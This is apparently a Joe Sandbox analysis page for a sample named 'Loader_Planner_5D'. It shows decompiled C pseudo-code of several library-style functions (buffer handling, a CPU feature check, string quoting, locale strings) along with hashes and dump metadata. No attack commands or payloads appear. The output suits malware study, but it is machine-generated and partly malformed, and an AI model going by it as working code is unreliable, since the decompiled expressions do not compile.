				E00007FF77FF71064A0C8( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0x1064c178;
				 *((long long*)(_t133 + 0x18)) =  *((long long*)(_t133 + 0x18)) + 8;
				if (0 == 0) goto 0x1064c106;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8));
				goto 0x1064c013;
				goto 0x1064c013;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xfffffff7;
				E00007FF77FF71064B880(_t133, _t133 + 0x50,  *((intOrPtr*)(_t133 + 0x30)), _t149,  *((intOrPtr*)(_t133 + 8)));
				if (_t149 != 0) goto 0x1064c12e;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xffffffdf;
				 *((char*)(_t133 + 0x4c)) = 0;
				r8b = bpl;
				if (_t143 != 8) goto 0x1064c148;
				E00007FF77FF71064C468(_t133, _t149);
				goto 0x1064c14f;
				E00007FF77FF71064C2B4( *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8)), _t133, _t149);
				if (0 == 0) goto 0x1064c176;
				if ( *((intOrPtr*)(_t133 + 0x48)) == 0) goto 0x1064c168;
				if ( *((char*)( *((intOrPtr*)(_t133 + 0x40)))) == 0x30) goto 0x1064c176;
				 *((long long*)(_t133 + 0x40)) =  *((long long*)(_t133 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t133 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t133 + 0x48)) =  *((intOrPtr*)(_t133 + 0x48)) + 1;
				return 1;
			}

0x7ff71064bfa8
0x7ff71064bfad
0x7ff71064bfb2
0x7ff71064bfbc
0x7ff71064bfbf
0x7ff71064bfc2
0x7ff71064bfc5
0x7ff71064bfc8
0x7ff71064bfce
0x7ff71064bfd0
0x7ff71064bfd2
0x7ff71064bfdb
0x7ff71064bfe4
0x7ff71064bfe9
0x7ff71064bff2
0x7ff71064bff8
0x7ff71064c000
0x7ff71064c01a
0x7ff71064c01f
0x7ff71064c027
0x7ff71064c02e
0x7ff71064c034
0x7ff71064c03b
0x7ff71064c048
0x7ff71064c058
0x7ff71064c05f
0x7ff71064c065
0x7ff71064c06f
0x7ff71064c079
0x7ff71064c080
0x7ff71064c087
0x7ff71064c08d
0x7ff71064c092
0x7ff71064c09b
0x7ff71064c0a4
0x7ff71064c0aa
0x7ff71064c0af
0x7ff71064c0b3
0x7ff71064c0b6
0x7ff71064c0bd
0x7ff71064c0c1
0x7ff71064c0cc
0x7ff71064c0d1
0x7ff71064c0d7
0x7ff71064c0de
0x7ff71064c0eb
0x7ff71064c0fb
0x7ff71064c0fd
0x7ff71064c101
0x7ff71064c109
0x7ff71064c119
0x7ff71064c120
0x7ff71064c128
0x7ff71064c12a
0x7ff71064c12e
0x7ff71064c132
0x7ff71064c13c
0x7ff71064c141
0x7ff71064c146
0x7ff71064c14a
0x7ff71064c157
0x7ff71064c15d
0x7ff71064c166
0x7ff71064c168
0x7ff71064c170
0x7ff71064c173
0x7ff71064c18c

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b2235312e67dbb0726dbc44dee1bd6196b8167b62b30abdfcd639f482643e9
Instruction ID: edf8a07fb053c72e4d7f7e4c3ade9ccb8d76021fc952c0e9cf4a6435ee5fac4e
Opcode Fuzzy Hash: d0b2235312e67dbb0726dbc44dee1bd6196b8167b62b30abdfcd639f482643e9
Instruction Fuzzy Hash: 2251B536A08A1582E7A86E28C15433CA7E2EB55F78F940135CE4D9779DCF2AFC49C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064E084 Relevance: .1, Instructions: 126
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF71064E084(signed int __edx, void* __edi, void* __esp, long long __rbx, signed long long*** __rcx, long long __rsi) {
				void* _t24;
				int _t26;
				signed int _t51;
				void* _t52;
				signed long long _t66;
				signed int* _t73;
				signed long long _t75;
				signed long long _t77;
				signed long long _t78;
				signed long long _t95;
				signed long long _t96;
				signed long long _t98;
				signed long long _t104;
				long long _t115;
				void* _t117;
				void* _t120;
				signed long long* _t123;
				signed long long _t124;
				signed long long _t126;
				signed long long _t129;
				signed long long*** _t132;

				_t52 = __edi;
				_t51 = __edx;
				 *((long long*)(_t117 + 0x10)) = __rbx;
				 *((long long*)(_t117 + 0x18)) = _t115;
				 *((long long*)(_t117 + 0x20)) = __rsi;
				_t66 =  *((intOrPtr*)(__rcx));
				_t132 = __rcx;
				_t73 =  *_t66;
				if (_t73 == 0) goto 0x1064e218;
				_t124 =  *0x10689010; // 0xafe3859a1ce3
				_t111 =  *_t73 ^ _t124;
				asm("dec eax");
				_t75 = _t73[4] ^ _t124;
				asm("dec ecx");
				asm("dec eax");
				if ((_t73[2] ^ _t124) != _t75) goto 0x1064e18a;
				_t77 = _t75 - ( *_t73 ^ _t124) >> 3;
				_t101 =  >  ? _t66 : _t77;
				_t6 = _t115 + 0x20; // 0x20
				_t102 = ( >  ? _t66 : _t77) + _t77;
				_t103 =  ==  ? _t66 : ( >  ? _t66 : _t77) + _t77;
				if (( ==  ? _t66 : ( >  ? _t66 : _t77) + _t77) - _t77 < 0) goto 0x1064e126;
				_t7 = _t115 + 8; // 0x8
				r8d = _t7;
				E00007FF77FF710658170(_t6, _t77, _t111,  ==  ? _t66 : ( >  ? _t66 : _t77) + _t77, _t111, _t115, _t120);
				_t24 = E00007FF77FF710651DC8(_t66, _t111);
				if (_t66 != 0) goto 0x1064e14e;
				_t104 = _t77 + 4;
				r8d = 8;
				E00007FF77FF710658170(_t24, _t77, _t111, _t104, _t111, _t115, _t120);
				_t129 = _t66;
				_t26 = E00007FF77FF710651DC8(_t66, _t111);
				if (_t129 == 0) goto 0x1064e218;
				_t123 = _t129 + _t77 * 8;
				_t78 = _t129 + _t104 * 8;
				_t88 =  >  ? _t115 : _t78 - _t123 + 7 >> 3;
				_t64 =  >  ? _t115 : _t78 - _t123 + 7 >> 3;
				if (( >  ? _t115 : _t78 - _t123 + 7 >> 3) == 0) goto 0x1064e18a;
				memset(_t52, _t26, 0 << 0);
				_t126 =  *0x10689010; // 0xafe3859a1ce3
				r8d = 0x40;
				_t14 =  &(_t123[1]); // 0x7ff71064216d
				asm("dec eax");
				 *_t123 =  *(_t132[1]) ^ _t126;
				_t95 =  *0x10689010; // 0xafe3859a1ce3
				asm("dec eax");
				 *( *( *_t132)) = _t129 ^ _t95;
				_t96 =  *0x10689010; // 0xafe3859a1ce3
				asm("dec eax");
				( *( *_t132))[1] = _t14 ^ _t96;
				_t98 =  *0x10689010; // 0xafe3859a1ce3
				r8d = r8d - (_t51 & 0x0000003f);
				asm("dec eax");
				( *( *_t132))[2] = _t78 ^ _t98;
				goto 0x1064e21b;
				return 0xffffffff;
			}

0x7ff71064e084
0x7ff71064e084
0x7ff71064e084
0x7ff71064e089
0x7ff71064e08e
0x7ff71064e09c
0x7ff71064e0a1
0x7ff71064e0a4
0x7ff71064e0aa
0x7ff71064e0b0
0x7ff71064e0c8
0x7ff71064e0ce
0x7ff71064e0d1
0x7ff71064e0d4
0x7ff71064e0d7
0x7ff71064e0dd
0x7ff71064e0eb
0x7ff71064e0f5
0x7ff71064e0f9
0x7ff71064e0fc
0x7ff71064e0ff
0x7ff71064e106
0x7ff71064e108
0x7ff71064e108
0x7ff71064e112
0x7ff71064e11c
0x7ff71064e124
0x7ff71064e126
0x7ff71064e12a
0x7ff71064e136
0x7ff71064e13d
0x7ff71064e140
0x7ff71064e148
0x7ff71064e155
0x7ff71064e159
0x7ff71064e171
0x7ff71064e175
0x7ff71064e178
0x7ff71064e180
0x7ff71064e183
0x7ff71064e18a
0x7ff71064e190
0x7ff71064e1a9
0x7ff71064e1af
0x7ff71064e1b2
0x7ff71064e1c5
0x7ff71064e1ce
0x7ff71064e1d4
0x7ff71064e1e5
0x7ff71064e1ee
0x7ff71064e1f2
0x7ff71064e1fe
0x7ff71064e207
0x7ff71064e212
0x7ff71064e216
0x7ff71064e233

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: c9ffed4a1bf58920a03b381a9eb61873846a8a3fd84763a4f1959f14f7c54f07
Instruction ID: 5d68bc33488b344b24da9650e763615d6d5f1bcc29a120eab27edfb708cf89ba
Opcode Fuzzy Hash: c9ffed4a1bf58920a03b381a9eb61873846a8a3fd84763a4f1959f14f7c54f07
Instruction Fuzzy Hash: 51412332718E5482EF14DF2AD915169B3A2FB48FE4B889037DE4D97B58DE3CE1068310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710660DA0 Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00007FF77FF710660DA0(intOrPtr __ebx, intOrPtr __edx, signed int __rax, signed int __rdx, void* __r8, signed long long _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _t25;

				_t25 = __r8;
				r8d = 0;
				 *0x1068bd00 = r8d;
				_t1 = _t25 + 1; // 0x1
				r9d = _t1;
				asm("cpuid");
				_v16 = r9d;
				_v16 = 0;
				_v20 = __ebx;
				_v12 = __edx;
				if (0 != 0x18001000) goto 0x10660e01;
				asm("xgetbv");
				_a8 = __rdx << 0x00000020 | __rax;
				r8d =  *0x1068bd00; // 0x1
				r8d =  ==  ? r9d : r8d;
				 *0x1068bd00 = r8d;
				 *0x1068bd04 = r8d;
				return 0;
			}

0x7ff710660da0
0x7ff710660da6
0x7ff710660dab
0x7ff710660db2
0x7ff710660db2
0x7ff710660db9
0x7ff710660dbb
0x7ff710660dc3
0x7ff710660dc9
0x7ff710660dcd
0x7ff710660dd3
0x7ff710660dd7
0x7ff710660de1
0x7ff710660deb
0x7ff710660df6
0x7ff710660dfa
0x7ff710660e01
0x7ff710660e0f

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ce7a21e88a7e0933d3104dfea0386dc7c438066d88e312d49f0ee28073a08ba
Instruction ID: d754f1b238104f630b283f29a83f103933d666897b6023337bbca5a0fddbf74f
Opcode Fuzzy Hash: 0ce7a21e88a7e0933d3104dfea0386dc7c438066d88e312d49f0ee28073a08ba
Instruction Fuzzy Hash: 45F068717186599ADB94DF28A80362977E1FB08394F80903AD58D83B14D63CA0658F14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710642D34 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae43299692582ff64650874d833e97fc10259968c8ddf0d8fa779fdebff24c0
Instruction ID: b7ef7105bd88c9c7b516f82f26736780ac89dce45bc88b6b37cc3caf9dad2bbb
Opcode Fuzzy Hash: dae43299692582ff64650874d833e97fc10259968c8ddf0d8fa779fdebff24c0
Instruction Fuzzy Hash: 52A00125D08C06D0E608AB10E950130A232AB50324BD11132C00D856649E2DB5888220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710622C00 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF710622C00(long long __rbx, long long __rcx, void* __rdx, long long __rsi, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __rbp;
				void* __r12;
				void* __r15;
				void* _t70;
				void* _t71;
				void* _t75;
				void* _t77;
				signed long long _t95;
				intOrPtr* _t111;
				long long _t112;
				intOrPtr _t127;
				void* _t135;
				void* _t143;
				void* _t146;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr _t151;
				void* _t154;
				intOrPtr* _t155;
				long long* _t158;
				void* _t160;
				void* _t161;
				void* _t163;
				long long _t175;
				void* _t177;
				void* _t179;
				void* _t180;

				_t135 = __rdx;
				 *((long long*)(_t163 + 0x18)) = __rbx;
				 *((long long*)(_t163 + 0x20)) = __rsi;
				_t161 = _t163 - 0x37;
				_t95 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t161 + 0x27) = _t95 ^ _t163 - 0x000000a0;
				_t111 = __r9;
				_t158 = __r8;
				_t180 = __rdx;
				_t155 = __rcx;
				 *((long long*)(_t161 - 0x21)) = __rcx;
				r12d = 0;
				 *((intOrPtr*)(_t161 - 0x29)) = r12d;
				asm("xorps xmm0, xmm0");
				asm("movups [ecx], xmm0");
				 *((long long*)(__rcx + 0x10)) = _t175;
				 *((long long*)(__rcx + 0x18)) = 0xf;
				 *((intOrPtr*)(__rcx)) = r12b;
				 *((intOrPtr*)(_t161 - 0x29)) = 1;
				r14d = E00007FF77FF710660FEC(_t71);
				if ( *((long long*)(__r8 + 0x18)) - 8 < 0) goto 0x10622c74;
				 *((long long*)(_t161 - 0x39)) =  *((intOrPtr*)(__r8));
				 *((long long*)(_t161 - 0x31)) =  *((intOrPtr*)(__r8 + 0x10));
				asm("movaps xmm0, [ebp-0x39]");
				asm("movdqa [ebp-0x39], xmm0");
				E00007FF77FF710629480(_t70, r14d, _t77,  *((intOrPtr*)(__r8 + 0x10)), __r9, _t161 + 7, _t161, _t161 - 0x39);
				if ( *((long long*)(_t111 + 0x18)) - 8 < 0) goto 0x10622ca7;
				 *((long long*)(_t161 - 0x39)) =  *_t111;
				 *((long long*)(_t161 - 0x31)) =  *((intOrPtr*)(_t111 + 0x10));
				asm("movaps xmm0, [ebp-0x39]");
				asm("movdqa [ebp-0x39], xmm0");
				E00007FF77FF710629480(_t70, r14d, _t77,  *((intOrPtr*)(_t111 + 0x10)), _t111, _t161 - 0x19, _t161, _t161 - 0x39);
				_t75 =  ==  ? 4 : 8;
				if ( *((intOrPtr*)(_t155 + 0x18)) - _t135 +  *((intOrPtr*)(_t180 + 8)) +  *((intOrPtr*)(_t161 + 0x17)) +  *((intOrPtr*)(_t161 - 9)) >= 0) goto 0x10622d05;
				_t112 =  *((intOrPtr*)(_t155 + 0x10));
				E00007FF77FF710629EC0(_t155, _t135 +  *((intOrPtr*)(_t180 + 8)) +  *((intOrPtr*)(_t161 + 0x17)) +  *((intOrPtr*)(_t161 - 9)) - _t112, _t155, _t180);
				 *((long long*)(_t155 + 0x10)) = _t112;
				E00007FF77FF7106291C0(_t112, _t155, _t158,  *((intOrPtr*)(_t180 + 8)), _t179);
				r8d = 3;
				E00007FF77FF7106291C0(_t112, _t155, _t158,  *((intOrPtr*)(_t180 + 8)), _t177);
				_t143 =  >=  ?  *((void*)(_t161 + 7)) : _t161 + 7;
				E00007FF77FF7106291C0(_t112, _t155, _t158,  *((intOrPtr*)(_t161 + 0x17)), _t175);
				if ( *((long long*)(_t161 - 9)) == 0) goto 0x10622d76;
				E00007FF77FF7106291C0(_t112, _t155, _t158, _t158, _t154);
				_t146 =  >=  ?  *((void*)(_t161 - 0x19)) : _t161 - 0x19;
				E00007FF77FF7106291C0(_t112, _t155, _t158,  *((intOrPtr*)(_t161 - 9)), _t160);
				_t127 =  *((intOrPtr*)(_t155 + 0x10));
				_t147 =  *((intOrPtr*)(_t155 + 0x18));
				if (_t127 - _t147 >= 0) goto 0x10622d9f;
				 *((long long*)(_t155 + 0x10)) = _t127 + 1;
				if (_t147 - 0x10 < 0) goto 0x10622d97;
				 *((short*)( *_t155 + _t127)) = 0x22;
				goto 0x10622db5;
				r9b = 0x22;
				r8d =  *(_t161 - 0x49) & 0x000000ff;
				E00007FF77FF71062A450(_t155, _t147, _t155, _t175);
				_t148 =  *((intOrPtr*)(_t161 - 1));
				if (_t148 - 0x10 < 0) goto 0x10622dec;
				if (_t148 + 1 - 0x1000 < 0) goto 0x10622de7;
				if ( *((intOrPtr*)(_t161 - 0x19)) -  *((intOrPtr*)( *((intOrPtr*)(_t161 - 0x19)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10622e64;
				E00007FF77FF710641E10( *((intOrPtr*)(_t161 - 0x19)) -  *((intOrPtr*)( *((intOrPtr*)(_t161 - 0x19)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t161 - 0x19)) - 8)));
				 *((long long*)(_t161 - 9)) = _t175;
				 *((long long*)(_t161 - 1)) = 0xf;
				 *((char*)(_t161 - 0x19)) = 0;
				_t151 =  *((intOrPtr*)(_t161 + 0x1f));
				if (_t151 - 0x10 < 0) goto 0x10622e33;
				if (_t151 + 1 - 0x1000 < 0) goto 0x10622e2e;
				if ( *((intOrPtr*)(_t161 + 7)) -  *((intOrPtr*)( *((intOrPtr*)(_t161 + 7)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10622e5e;
				return E00007FF77FF710641DF0(E00007FF77FF710641E10( *((intOrPtr*)(_t161 + 7)) -  *((intOrPtr*)( *((intOrPtr*)(_t161 + 7)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t161 + 7)) - 8))), _t71,  *(_t161 + 0x27) ^ _t163 - 0x000000a0);
			}

0x7ff710622c00
0x7ff710622c00
0x7ff710622c05
0x7ff710622c12
0x7ff710622c1e
0x7ff710622c28
0x7ff710622c2c
0x7ff710622c2f
0x7ff710622c32
0x7ff710622c35
0x7ff710622c38
0x7ff710622c3c
0x7ff710622c3f
0x7ff710622c43
0x7ff710622c46
0x7ff710622c49
0x7ff710622c4d
0x7ff710622c55
0x7ff710622c58
0x7ff710622c64
0x7ff710622c6f
0x7ff710622c78
0x7ff710622c7c
0x7ff710622c80
0x7ff710622c84
0x7ff710622c94
0x7ff710622ca2
0x7ff710622cab
0x7ff710622caf
0x7ff710622cb3
0x7ff710622cb7
0x7ff710622cc7
0x7ff710622cde
0x7ff710622cf0
0x7ff710622cf2
0x7ff710622cfc
0x7ff710622d01
0x7ff710622d0f
0x7ff710622d14
0x7ff710622d24
0x7ff710622d32
0x7ff710622d3e
0x7ff710622d48
0x7ff710622d57
0x7ff710622d65
0x7ff710622d71
0x7ff710622d76
0x7ff710622d7a
0x7ff710622d81
0x7ff710622d87
0x7ff710622d92
0x7ff710622d97
0x7ff710622d9d
0x7ff710622d9f
0x7ff710622da2
0x7ff710622daf
0x7ff710622db5
0x7ff710622dbd
0x7ff710622dd0
0x7ff710622de5
0x7ff710622de7
0x7ff710622dec
0x7ff710622df0
0x7ff710622df8
0x7ff710622dfc
0x7ff710622e04
0x7ff710622e17
0x7ff710622e2c
0x7ff710622e5d

APIs

__std_fs_code_page.LIBCPMT ref: 00007FF710622C5F

Part of subcall function 00007FF710660FEC: AreFileApisANSI.KERNEL32(?,?,?,?,00007FF71062CB98,?,?,?,?,?,?,?,00000000,?,00007FF7106295C8), ref: 00007FF710660FFE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710622E5E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710622E64
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF710622F81
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710622FAC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106230D9
__std_exception_copy.LIBVCRUNTIME ref: 00007FF71062310D

Strings

: ", xrefs: 00007FF710622D1A
", ", xrefs: 00007FF710622D4D

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ApisFile__std_exception_copy__std_exception_destroy__std_fs_code_page
String ID: ", "$: "
API String ID: 4080386414-747220369
Opcode ID: ec66ef41bef087508980d74e9c59c75013a1187cda60975798b1eed02a6cf71b
Instruction ID: c4d1ff2ec72c24bbdde289cd230a088cd83bc39e6d835627647ffe2791cb0c94
Opcode Fuzzy Hash: ec66ef41bef087508980d74e9c59c75013a1187cda60975798b1eed02a6cf71b
Instruction Fuzzy Hash: 6EE17A72B04E8695EB04EF29D5843ACB362FB44BD8F908531DA4D07B99DF78E499C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063D1F0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00007FF77FF71063D1F0(long long __rax, long long* __rcx, void* __rdx) {
				void* __rbx;
				void* __rsi;
				void* _t52;
				intOrPtr _t58;
				intOrPtr _t60;
				void* _t68;
				intOrPtr _t94;
				long long _t96;
				long long* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				void* _t123;
				long long _t124;

				_t119 = _t120 - 0x37;
				_t121 = _t120 - 0xf0;
				_t118 = __rcx;
				r14d = 0;
				 *((intOrPtr*)(_t119 + 0x67)) = r14d;
				if (__rcx == 0) goto 0x1063d3fd;
				if ( *((intOrPtr*)(__rcx)) != _t124) goto 0x1063d3fd;
				_t3 = _t124 + 0x30; // 0x30
				_t52 = E00007FF77FF710641E18(__rax, __rcx);
				_t96 = __rax;
				 *((long long*)(_t119 + 0x77)) = __rax;
				asm("xorps xmm0, xmm0");
				asm("movups [eax], xmm0");
				asm("movups [eax+0x10], xmm0");
				asm("movups [eax+0x20], xmm0");
				_t94 =  *((intOrPtr*)(__rdx + 8));
				if (_t94 == 0) goto 0x1063d258;
				if ( *((intOrPtr*)(_t94 + 0x28)) != 0) goto 0x1063d25f;
				goto 0x1063d25f;
				E00007FF77FF7106617CC(_t52, 0, _t121 + 0x20);
				 *((long long*)(_t121 + 0x28)) = _t124;
				 *((char*)(_t121 + 0x30)) = 0;
				 *((long long*)(_t121 + 0x38)) = _t124;
				 *((char*)(_t119 - 0x79)) = 0;
				 *((long long*)(_t119 - 0x71)) = _t124;
				 *((intOrPtr*)(_t119 - 0x69)) = r14w;
				 *((long long*)(_t119 - 0x61)) = _t124;
				 *((intOrPtr*)(_t119 - 0x59)) = r14w;
				 *((long long*)(_t119 - 0x51)) = _t124;
				 *((char*)(_t119 - 0x49)) = 0;
				 *((long long*)(_t119 - 0x41)) = _t124;
				 *((char*)(_t119 - 0x39)) = 0;
				if (0x1067adf3 == 0) goto 0x1063d416;
				E00007FF77FF710662014(_t94, _t96, _t121 + 0x20, 0x1067adf3);
				 *((intOrPtr*)(_t119 + 0x67)) = 1;
				 *((intOrPtr*)(_t96 + 8)) = r14d;
				 *_t96 = 0x10677960;
				E00007FF77FF71064D55C(0x10677960);
				E00007FF77FF710662970(_t3, 0, 0x1067adf3, 0x10677960, _t96, _t119 - 0x31, 0x1067adf3, _t118, _t123);
				 *((long long*)(_t96 + 0x10)) = _t124;
				 *((long long*)(_t96 + 0x20)) = _t124;
				 *((long long*)(_t96 + 0x28)) = _t124;
				 *((long long*)(_t119 + 0x7f)) = _t96;
				E00007FF77FF710662970(_t3, 0, 0x1067adf3, 0x10677960, _t96, _t119 - 1, 0x1067adf3, _t118, _t123);
				0x1064b254();
				if (0x10677960 == 0) goto 0x1063d423;
				 *0x10677960 = 0;
				 *((long long*)(_t96 + 0x10)) = 0x10677960;
				0x1064b254();
				if (0x10677960 == 0) goto 0x1063d429;
				_t58 =  *0x1067cb40; // 0x736c6166
				 *0x10677960 = _t58;
				 *((short*)(0x7ff710677964)) =  *0x1067cb44 & 0x0000ffff;
				 *((long long*)(_t96 + 0x20)) = 0x10677960;
				0x1064b254();
				if (0x10677960 == 0) goto 0x1063d410;
				_t60 =  *0x1067cb48; // 0x65757274
				 *0x10677960 = _t60;
				 *((char*)(0x7ff710677964)) =  *0x1067cb4c & 0x000000ff;
				 *((long long*)(_t96 + 0x28)) = 0x10677960;
				 *((short*)(_t96 + 0x18)) = 0x2c2e;
				 *_t118 = _t96;
				E00007FF77FF710662080(_t121 + 0x20);
				if ( *((intOrPtr*)(_t119 - 0x41)) == 0) goto 0x1063d390;
				E00007FF77FF7106495A0(0x7ff71067adf7, 1, _t96, 0x1067adf3);
				 *((long long*)(_t119 - 0x41)) = _t124;
				if ( *((intOrPtr*)(_t119 - 0x51)) == 0) goto 0x1063d3a2;
				E00007FF77FF7106495A0(0x7ff71067adf7, 1, _t96, 0x1067adf3);
				 *((long long*)(_t119 - 0x51)) = _t124;
				if ( *((intOrPtr*)(_t119 - 0x61)) == 0) goto 0x1063d3b4;
				E00007FF77FF7106495A0(0x7ff71067adf7, 1, _t96, 0x1067adf3);
				 *((long long*)(_t119 - 0x61)) = _t124;
				if ( *((intOrPtr*)(_t119 - 0x71)) == 0) goto 0x1063d3c6;
				E00007FF77FF7106495A0(0x7ff71067adf7, 1, _t96, 0x1067adf3);
				 *((long long*)(_t119 - 0x71)) = _t124;
				if ( *((intOrPtr*)(_t121 + 0x38)) == 0) goto 0x1063d3d9;
				E00007FF77FF7106495A0(0x7ff71067adf7, 1, _t96, 0x1067adf3);
				 *((long long*)(_t121 + 0x38)) = _t124;
				if ( *((intOrPtr*)(_t121 + 0x28)) == 0) goto 0x1063d3ed;
				_t68 = E00007FF77FF7106495A0(0x7ff71067adf7, 1, _t96, 0x1067adf3);
				 *((long long*)(_t121 + 0x28)) = _t124;
				E00007FF77FF710661844(_t68, _t121 + 0x20);
				return 4;
			}

0x7ff71063d1f7
0x7ff71063d1fc
0x7ff71063d206
0x7ff71063d209
0x7ff71063d20c
0x7ff71063d213
0x7ff71063d21c
0x7ff71063d222
0x7ff71063d226
0x7ff71063d22b
0x7ff71063d22e
0x7ff71063d232
0x7ff71063d235
0x7ff71063d238
0x7ff71063d23c
0x7ff71063d240
0x7ff71063d247
0x7ff71063d250
0x7ff71063d256
0x7ff71063d266
0x7ff71063d26c
0x7ff71063d271
0x7ff71063d276
0x7ff71063d27b
0x7ff71063d27f
0x7ff71063d283
0x7ff71063d288
0x7ff71063d28c
0x7ff71063d291
0x7ff71063d295
0x7ff71063d299
0x7ff71063d29d
0x7ff71063d2a4
0x7ff71063d2b2
0x7ff71063d2b8
0x7ff71063d2bf
0x7ff71063d2ca
0x7ff71063d2cd
0x7ff71063d2d6
0x7ff71063d2db
0x7ff71063d2df
0x7ff71063d2e3
0x7ff71063d2e7
0x7ff71063d2ef
0x7ff71063d2fb
0x7ff71063d303
0x7ff71063d309
0x7ff71063d30c
0x7ff71063d318
0x7ff71063d323
0x7ff71063d329
0x7ff71063d32f
0x7ff71063d338
0x7ff71063d33c
0x7ff71063d348
0x7ff71063d353
0x7ff71063d359
0x7ff71063d35f
0x7ff71063d368
0x7ff71063d36b
0x7ff71063d36f
0x7ff71063d375
0x7ff71063d37d
0x7ff71063d389
0x7ff71063d38b
0x7ff71063d390
0x7ff71063d39b
0x7ff71063d39d
0x7ff71063d3a2
0x7ff71063d3ad
0x7ff71063d3af
0x7ff71063d3b4
0x7ff71063d3bf
0x7ff71063d3c1
0x7ff71063d3c6
0x7ff71063d3d2
0x7ff71063d3d4
0x7ff71063d3d9
0x7ff71063d3e6
